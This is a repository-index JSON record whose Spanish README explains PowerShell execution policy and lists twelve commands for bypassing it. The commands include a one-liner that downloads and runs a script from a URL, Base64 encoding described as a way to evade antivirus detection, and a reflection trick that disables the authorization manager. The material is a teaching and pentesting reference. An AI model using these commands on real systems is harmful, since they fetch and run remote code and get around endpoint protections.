{"id":20260795,"url":"https://github.com/adrianlois/bypass-powershell-executionpolicy","last_synced_at":"2025-09-22T10:32:41.873Z","repository":{"id":122920917,"uuid":"550890554","full_name":"adrianlois/Bypass-PowerShell-ExecutionPolicy","owner":"adrianlois","description":"Bypass PowerShell Execution Policy - Varias formas de eludir la política de ejecución de PowerShell","archived":false,"fork":false,"pushed_at":"2023-10-11T17:35:08.000Z","size":766,"stargazers_count":4,"open_issues_count":0,"forks_count":1,"subscribers_count":2,"default_branch":"main","last_synced_at":"2024-11-14T11:26:39.555Z","etag":null,"topics":["bypass","bypass-powershell","bypassing","execution-policy","execution-policy-bypass","powershell","ps1","tricks","windows"],"latest_commit_sha":null,"homepage":"","language":"PowerShell","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/adrianlois.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2022-10-13T13:48:02.000Z","updated_at":"2024-09-25T06:47:11.000Z","dependencies_parsed_at":null,"dependency_job_id":"9bb65160-25b4-4ae9-9d63-9b5f8cad1a70","html_url":"https://github.com/adrianlois/Bypass-PowerShell-ExecutionPolicy","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/adrianlois%2FBypass-PowerShell-ExecutionPolicy","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/adrianlois%2FBypass-PowerShell-ExecutionPolicy/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/adrianlois%2FBypass-PowerShell-ExecutionPolicy/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/adrianlois%2FBypass-PowerShell-ExecutionPolicy/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/adrianlois","download_url":"https://codeload.github.com/adrianlois/Bypass-PowerShell-ExecutionPolicy/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":233842225,"owners_count":18738755,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["bypass","bypass-powershell","bypassing","execution-policy","execution-policy-bypass","powershell","ps1","tricks","windows"],"created_at":"2024-11-14T11:22:20.005Z","updated_at":"2025-09-22T10:32:41.868Z","avatar_url":"https://github.com/adrianlois.png","language":"PowerShell","funding_links":[],"categories":[],"sub_categories":[],"readme":"\u003ch1 align=\"center\"\u003eBypass PowerShell Execution Policy\u003c/h1\u003e\n\n\u003cdiv align=\"center\"\u003e\n  \u003cimg src=\"screenshots/logo_bypass_powershell_executionpolicy.png\" alt=\"Bypass PowerShell Execution Policy\" width=\"520\"\u003e\n\u003c/div\u003e\n\n\u003ch1\u003eÍndice\u003c/h1\u003e\n\n- [📝 Explicación de la política de ejecución PowerShell](#-explicación-de-la-política-de-ejecución-powershell)\n- [⚙️ Modos de la política de ejecución (-ExecutionPolicy)](#️-modos-de-la-política-de-ejecución--executionpolicy)\n  - [Tipos de ámbitos de la política de ejecución (-Scope)](#tipos-de-ámbitos-de-la-política-de-ejecución--scope)\n- [⚡ Bypass PowerShell Execution Policy: Varias formas de eludir la política de ejecución de PowerShell](#-bypass-powershell-execution-policy-varias-formas-de-eludir-la-política-de-ejecución-de-powershell)\n  - [1. Copiar y pegar el script o cargar las funciones directamente en una consola interactiva de PowerShell](#1-copiar-y-pegar-el-script-o-cargar-las-funciones-directamente-en-una-consola-interactiva-de-powershell)\n  - [2. Leer la secuencia de comandos de un archivo y canalizar la salida a una entrada estándar de PowerShell](#2-leer-la-secuencia-de-comandos-de-un-archivo-y-canalizar-la-salida-a-una-entrada-estándar-de-powershell)\n  - [3. Leer la secuencia de comandos de un archivo y canalizarla al comando Invoke-Expression](#3-leer-la-secuencia-de-comandos-de-un-archivo-y-canalizarla-al-comando-invoke-expression)\n  - [4. Usar el parámetro ScriptBlock con Invoke-Command donde se lee el script desde un archivo y se canaliza a Invoke-Expression](#4-usar-el-parámetro-scriptblock-con-invoke-command-donde-se-lee-el-script-desde-un-archivo-y-se-canaliza-a-invoke-expression)\n  - [5. Utilizar el parámetro EncodeCommand codificando el script en Base64 para evitar una posible detección por parte de los motores de AVs](#5-utilizar-el-parámetro-encodecommand-codificando-el-script-en-base64-para-evitar-una-posible-detección-por-parte-de-los-motores-de-avs)\n  - [6. Descargar el script desde una URL y ejecutarlo con Invoke-Expression](#6-descargar-el-script-desde-una-url-y-ejecutarlo-con-invoke-expression)\n  - [7. Desactivar la ExecutionPolicy cambiando el AuthorizationManager](#7-desactivar-la-executionpolicy-cambiando-el-authorizationmanager)\n  - [8. Utilizar el flag \"Bypass\" de política de ejecución.](#8-utilizar-el-flag-bypass-de-política-de-ejecución)\n  - [9. Utilizar el flag \"Unrestricted\" de política de ejecución.](#9-utilizar-el-flag-unrestricted-de-política-de-ejecución)\n  - [10. Establecer la ExecutionPolicy para el ámbito del proceso](#10-establecer-la-executionpolicy-para-el-ámbito-del-proceso)\n  - [11. Establecer la ExecutionPolicy para el ámbito del usuario actual](#11-establecer-la-executionpolicy-para-el-ámbito-del-usuario-actual)\n  - [12. Establecer la ExecutionPolicy para el ámbito del usuario actual a través del Registro de Windows](#12-establecer-la-executionpolicy-para-el-ámbito-del-usuario-actual-a-través-del-registro-de-windows)\n\n\n## 📝 Explicación de la política de ejecución PowerShell\n\nLa configuración de seguridad por defecto establecidas en PowerShell:\n\n- Por defecto, no se ejecutan los scripts al hacer doble clic sobre ellos.\n- Todos los scripts deben estar firmados digitalmente con un certificado digital de confianza por el sistema anfitrión para poder ser ejecutados.\n- Todos los scripts no pueden ser ejecutados solo por su nombre en una sesión PowerShell, se debe espeficar la ruta relativa o absoluta.\n- El código se ejecuta bajo el contexto del usuario.\n- El código que se descarga a través de un navegador web o a través de clientes de correo electrónico que marcan el archivo como descargado de internet en los metadatos del archivo, se bloqueará la ejecución del archivo a menos que se permita específicamente.\n\nEstos ajustes de seguridad por defecto proporcionan las siguientes protecciones:\n\n- **Control of Execution**: Controlar el nivel de confianza para la ejecución de scripts.\n- **Command Highjack**: Evitar la inyección de comandos en el home de usuario.\n- **Identity**: Un script creado y firmado por un desarrollador en el que confío y/o firmado con un certificado de una Autoridad de Certificación de confianza.\n- **Integrity**: Los scripts no pueden ser modificados por un malware o un usuario malintencionado.\n\nMicrosoft puso mucho cuidado y atención en minimizar la superficie de ataque de PowerShell cuando un atacante intenta engañar a un usuario para que ejecute un script posiblemente malicioso. Una vez en el sistema las cosas cambian ya que estos controles no pueden proteger de:\n\n- Copiar y pegar el contenido del script en PowerShell.\n- Codificar el script en Base64 y ejecutarlo desde la línea de comandos como argumento del powershell.exe.\n- Introducir cada comando a mano y ejecutarlo.\n- Realizar cambios de la política de ejecución en el contexto del usuario de PowerShell.\n\n![script_bypass_ps_executionpolicy](screenshots/script_bypass_ps_executionpolicy.png)\n\n\n## ⚙️ Modos de la política de ejecución (-ExecutionPolicy)\n\nPara controlar la validación de los scripts y cmdlets se utiliza [*Set-ExecutionPolicy*](https://learn.microsoft.com/es-es/powershell/module/microsoft.powershell.security/set-executionpolicy) especificando el parámetro [*-ExecutionPolicy*](https://learn.microsoft.com/es-es/powershell/module/microsoft.powershell.core/about/about_execution_policies#powershell-execution-policies).\n\n- **Restricted**: No se puede ejecutar ningún script local, remoto o descargado en el sistema.\n- **AllSigned**: Todas las secuencias de comandos que se ejecuten deben estar firmadas digitalmente por un usuario o entidad de confianza.\n- **RemoteSigned**: Todos los scripts remotos (rutas UNC) o descargados necesitan estar firmados.\n- **Unrestricted**: No es necesario firmar ningún script, todas las restricciones anteriores estarían deshabilitadas.\n\n### Tipos de ámbitos de la política de ejecución (-Scope)\n\nCada una de estas políticas puede aplicarse a diferentes ámbitos para controlar a quién afectan. Esto se especifica con el parámetro [*-Scope*](https://learn.microsoft.com/es-es/powershell/module/microsoft.powershell.core/about/about_execution_policies#execution-policy-scope).\n\n- **MachinePolicy**: La política de ejecución se establece por una Política de Grupo para todos los usuarios.\n- **UserPolicy**: La política de ejecución se establece por una Política de Grupo para el usuario actual.\n- **Process**: La política de ejecución se establece para el proceso actual de Windows PowerShell.\n- **CurrentUser**: La política de ejecución se establece para el usuario actual.\n- **LocalMachine**: La política de ejecución se establece para todos los usuarios.\n\nPara obtener las directivas de ejecución de la sesión actual se puede comprobar con [*Get-ExecutionPolicy*](https://learn.microsoft.com/es-es/powershell/module/microsoft.powershell.security/get-executionpolicy)\n\n![get_bypass_ps_executionpolicy](screenshots/get_bypass_ps_executionpolicy.png)\n\n---\n\n## ⚡ Bypass PowerShell Execution Policy: Varias formas de eludir la política de ejecución de PowerShell\n\n### 1. Copiar y pegar el script o cargar las funciones directamente en una consola interactiva de PowerShell\n![1_bypass_ps_executionpolicy](screenshots/1_bypass_ps_executionpolicy.png)\n\n\n### 2. Leer la secuencia de comandos de un archivo y canalizar la salida a una entrada estándar de PowerShell\n```ps\nGet-Content .\\BypassEP.ps1 | powershell.exe -noprofile -\ntype .\\BypassEP.ps1 | powershell.exe -noprofile -\n```\n![2_bypass_ps_executionpolicy](screenshots/2_bypass_ps_executionpolicy.png)\n\n\n### 3. Leer la secuencia de comandos de un archivo y canalizarla al comando Invoke-Expression\n```ps\nGet-Content .\\BypassEP.ps1 | Invoke-Expression\n```\nComando corto\n```ps\ngc .\\BypassEP.ps1 | iex\n```\n![3_bypass_ps_executionpolicy](screenshots/3_bypass_ps_executionpolicy.png)\n\n\n### 4. Usar el parámetro ScriptBlock con Invoke-Command donde se lee el script desde un archivo y se canaliza a Invoke-Expression\n```ps\nInvoke-Command -ScriptBlock { Get-Content .\\BypassEP.ps1 | IEX }\n```\n![4_bypass_ps_executionpolicy](screenshots/4_bypass_ps_executionpolicy.png)\n\n\n### 5. Utilizar el parámetro EncodeCommand codificando el script en Base64 para evitar una posible detección por parte de los motores de AVs\n```ps\n$command = Get-Content BypassEP.ps1\n$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)\n$encodedCommand = [Convert]::ToBase64String($bytes)\nPowerShell.exe -EncodedCommand $encodedCommand\n```\nComando corto usando directamente la cadena codificada en Base64\n\n- -enc: EncodedCommand (descodifica un comando de PowerShell desde un proceso en ejecución)\n```ps\nPowerShell.exe -enc VwByAGkAdABlAC0ASABvAHMAdAAgACIARQBzAHQAbwAgAGUAcwAgAHUAbgAgAGIAeQBwAGEAcwBzACAAZABlACAAUABTACAARQB4AGUAYwB1AHQAaQBvAG4AIABQAG8AbABpAGMAeQAiAA==\n```\n![5_bypass_ps_executionpolicy](screenshots/5_bypass_ps_executionpolicy.png)\n\n\n### 6. Descargar el script desde una URL y ejecutarlo con Invoke-Expression\n```ps\npowershell -nop -c \"IEX(New-Object Net.WebClient).DownloadString('URL')\"\npowershell -nop -c \"IEX(Invoke-WebRequest -Uri 'URL' -UseBasicParsing).Content\"\n```\n- -nop: noprofile (ignora los comandos en el archivo de perfil)\n- -c: command (ejecuta una instrucción de comandos)\n![6_bypass_ps_executionpolicy](screenshots/6_bypass_ps_executionpolicy.png)\n\n\n### 7. Desactivar la ExecutionPolicy cambiando el AuthorizationManager\n```ps\nFunction Disable-ExecutionPolicy {($ctx = $executionContext.GetType().GetField(\"_context\",\"NonPublic,Instance\").GetValue($executionContext)).GetType().GetField(\"_authorizationManager\",\"NonPublic,Instance\").SetValue($ctx, (New-Object System.Management.Automation.AuthorizationManager \"Microsoft.PowerShell\"))} Disable-ExecutionPolicy ; .\\BypassEP.ps1\n```\n![7_bypass_ps_executionpolicy](screenshots/7_bypass_ps_executionpolicy.png)\n\n\n### 8. Utilizar el flag \"Bypass\" de política de ejecución.\n```ps\nPowerShell.exe -ExecutionPolicy Bypass -File .\\BypassEP.ps1\nPowerShell.exe -exec Bypass -File .\\BypassEP.ps1\n```\n- -ExecutionPolicy Bypass o –exec BypassBypass: omitir/ignora la política de ejecución como Restringido, que restringe la ejecución de los scripts de PowerShell.\n![8_bypass_ps_executionpolicy](screenshots/8_bypass_ps_executionpolicy.png)\n\n\n### 9. Utilizar el flag \"Unrestricted\" de política de ejecución.\n```ps\nPowerShell.exe -ExecutionPolicy Unrestricted -File .\\BypassEP.ps1\n```\n![9_bypass_ps_executionpolicy](screenshots/9_bypass_ps_executionpolicy.png)\n\n\n### 10. Establecer la ExecutionPolicy para el ámbito del proceso\n```ps\nSet-ExecutionPolicy Bypass -Scope Process ; .\\BypassEP.ps1\n```\n![10_bypass_ps_executionpolicy](screenshots/10_bypass_ps_executionpolicy.png)\n\n\n### 11. Establecer la ExecutionPolicy para el ámbito del usuario actual\n```ps\nSet-Executionpolicy -Scope CurrentUser -ExecutionPolicy Unrestricted ; .\\BypassEP.ps1\n```\n![11_bypass_ps_executionpolicy](screenshots/11_bypass_ps_executionpolicy.png)\n\n\n### 12. Establecer la ExecutionPolicy para el ámbito del usuario actual a través del Registro de Windows\n```ps\nNew-ItemProperty -Path 'HKCU:Software\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell' -Name 'ExecutionPolicy' -Value \"Unrestricted\" -PropertyType String -Force\n```\n```\nHKEY_CURRENT_USER\\Software\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell\nExecutionPolicy = Unrestricted\n```\n![12_bypass_ps_executionpolicy](screenshots/12_bypass_ps_executionpolicy.png)","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fadrianlois%2Fbypass-powershell-executionpolicy","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fadrianlois%2Fbypass-powershell-executionpolicy","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fadrianlois%2Fbypass-powershell-executionpolicy/lists"}